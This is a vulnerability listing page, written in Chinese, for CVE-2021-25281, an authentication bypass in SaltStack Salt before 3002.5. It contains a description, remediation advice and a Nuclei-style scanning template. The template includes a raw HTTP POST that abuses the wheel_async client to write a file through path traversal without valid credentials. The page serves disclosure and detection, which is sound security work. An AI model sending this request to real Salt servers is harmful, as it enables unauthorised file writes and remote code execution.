CVE-2021-25281: SaltStack Salt <3002.5 - Auth Bypass

日期: 2025-08-01 | 影响软件: SaltStack Salt | POC: 已公开

漏洞描述

SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.

PoC代码[已公开]

id: CVE-2021-25281

info:
  name: SaltStack Salt <3002.5 - Auth Bypass
  author: madrobot
  severity: critical
  description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
  remediation: |
    Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
  reference:
    - http://hackdig.com/02/hack-283902.htm
    - https://dozer.nz/posts/saltapi-vulns
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25281
    - https://github.com/saltstack/salt/releases
    - https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25281
    cwe-id: CWE-287
    epss-score: 0.93965
    epss-percentile: 0.9988
    cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: saltstack
    product: salt
  tags: cve,cve2021,saltapi,rce,saltstack,unauth

http:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "return"
          - "tag"
          - "jid"
          - "salt"
          - "wheel"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201230548be0c4d8108caace9cf8c4a89a561d15e45cee1d360414ea0cc10a349502203d8cb6718a0f78d0a08e28502c6df6f0cda8edd1b340d94b0b150422e34f7703:922c64590222798bb761d5b6d8e72950